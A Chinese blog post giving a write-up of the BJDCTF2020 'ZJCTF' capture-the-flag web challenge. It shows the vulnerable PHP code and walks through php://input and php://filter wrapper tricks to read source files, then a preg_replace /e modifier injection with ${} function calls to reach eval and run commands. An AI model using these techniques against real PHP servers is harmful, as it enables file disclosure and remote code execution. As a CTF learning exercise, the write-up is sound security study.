[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

打开靶场

直接给了源码

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

有两个参数,text参数用来打开一个文件,文件内容必须为I have a dream才能通过检查

这种情况可以想到用PHP的伪协议input来封装这个文件,具体方法

text传参php://input,在post部分写入文件内容I have a dream

点击提交可以发现,输出了一句话,这句话就是file_get_contents函数的输出结果,证明我们已经通过了if的检查

image

接着读代码可以发现,file参数的传值中不能出现flag,下面还给出了一个提示:next.php,但不知道里面写了啥,所以可以继续利用PHP伪协议查看文件内容,具体方法

构造?file=php://filter/read=convert.base64-encode/resource=next.php&text=php://input,即可将文件内容以base64编码输出,最后只需解码即可

image

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',	//修正符:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

$_GET as $re => $str 的理解:

这是一个动态赋值的过程,即会将get请求中的参数名作为键$re,参数对应的值作为键值$str

正则匹配/e的问题

http://www.xinyueseo.com/websecurity/158.html

读了好几遍,真的不能理解,于是只能在本地测试尝试理解

多次本地测试总结:

代码环境:

<?php
function complexStrtolower( $regex, $value){
    return preg_replace('/('. $regex.')/ei','strtolower("\\1")',$value);
}
foreach ($_GET as $regex => $value){
    echo complexStrtolower($regex, $value)."n";
}
?>

image

image

image

代码环境:

<?php
var_dump(preg_replace('/(.*)/ei','\1','${phpinfo()}'));
?>

image

代码:

<?php
var_dump(strtolower("\\1"));
?>

image

代码:

<?php
var_dump(preg_replace('/(hello)/ei','\1','hello world!'));
?>

image

代码:

<?php
var_dump(preg_replace('/(hello)/ei','goodby','hello world!'));
?>

image

大概了解了,正则匹配中\1代表自己,对应上面就是hello被替换成了自己

继续测试

代码:

<?php
var_dump(preg_replace('/(.*)/ei','\1','${phpinfo()}'));
?>

image

代码:

<?php
function die1(){
    die("!!!!!");
}

var_dump(preg_replace('/(.*)/ei','\1','${die1()}'));
?>

image

测试发现在${}中可以调用函数

这样的话,那这题就有思路了,我们可以调用getFlag()函数,再传入cmd参数执行命令即可

由于上面那篇大佬的文章也提到了,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,所以直接传.*会无效

但用大佬给的方法,将.*改成\S*也可以轻松绕过,于是重新构造payload,访问对象此时应该变成next.php了

image

即可拿到flag!

posted @ 2021-10-28 17:31  Sentry_fei  阅读(419)  评论(0编辑  收藏  举报